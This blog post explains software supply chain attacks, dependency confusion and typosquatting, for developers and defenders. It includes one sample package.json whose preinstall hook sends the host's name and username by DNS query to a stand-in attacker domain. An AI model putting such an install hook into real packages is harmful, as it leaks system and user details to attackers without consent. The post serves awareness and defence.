Skip to content
Sedat Özdemir
Writing

cybersecurity

When the Foundations Crumble: Software Supply Chain and 'Dependency Hell'

Think you're safe behind your firewall? Think again. The real threat might be that 'npm install' you just ran. Let's dive into the messy world of Software Supply Chain attacks and how they turn your trust against you.

Sedat Özdemir
· 4 dk read

Hey team, let's talk about the concept of 'trust' for a second. Back in the day, when we talked about cybersecurity, the first thing that came to mind was an outsider trying to kick the door down. We’d set up strong passwords, build massive firewalls, and think, 'Alright, we’re safe.' But over the last few years, the game has changed completely. Nobody relies solely on 16-character complex passwords anymore; because the real danger isn't the stranger knocking at the door—it’s those 'familiar' packages making coffee in your kitchen.

When you walk into the office, fire up your terminal, and run an npm install or pip install command, you're not just downloading a library. You're handing over the keys to your system to the person who wrote that library, the people who wrote the libraries they used, and thousands of other strangers down that chain. This is what we call the 'Software Supply Chain,' and honestly? It’s a total Wild West out there.

Dependency Confusion: Is it coming from inside the house?

In Red Team operations, one of our favorite (and for defenders, most dreaded) techniques is 'Dependency Confusion.' The story is simple yet devastating. Let's say you're at testCompany and you have a package developed internally: testcompany-internal-auth. This package only lives on your local network's repo server (like Artifactory or Nexus).

When a developer spins up a project, the package manager (npm, pip, maven) checks the local repo first and then the global one. If an attacker uploads a package with the exact same name (testcompany-internal-auth) but a much higher version number (e.g., v99.9.9) to a public repository like npmjs.org, the package manager goes, 'Oh look, a new version!' and rushes to pull the attacker's package instead.

So, what’s inside that package? Even a simple preinstall script is enough to ruin your day. Imagine something like this (defanged example):

{
  "name": "testcompany-internal-auth",
  "version": "99.9.9",
  "description": "For security testing purposes",
  "scripts": {
    "preinstall": "node -e 'const os=require(\"os\"); const dns=require(\"dns\"); const data=os.hostname()+\"|\"+os.userInfo().username; dns.lookup(data+\".attacker-collector.example.com\", ()=>{});'"
  }
}

What does this code do? Right before the package installs, it grabs the system's hostname and username, then leaks it out as a DNS query to a domain controlled by the attacker. No firewall is going to easily block DNS traffic, right? Congratulations, you now have an attacker who knows exactly who is installing what on which machine in your network.

Typosquatting: A Slip of the Finger or a Disaster?

We’re all human; we make mistakes. Writing requesst instead of request or downloading pandass instead of pandas is just a momentary lapse in concentration. But in the cyber world, the cost of that lapse is high. Typosquatting attacks involve registering names similar to popular packages and waiting for a victim to make a typo. Imagine a library that has a hidden reverse shell tucked inside but looks 99% identical to the original package. The developer downloads the package, tests it, everything looks normal, and by the time the mistake is realized, the backdoor is already wide open.

Related posts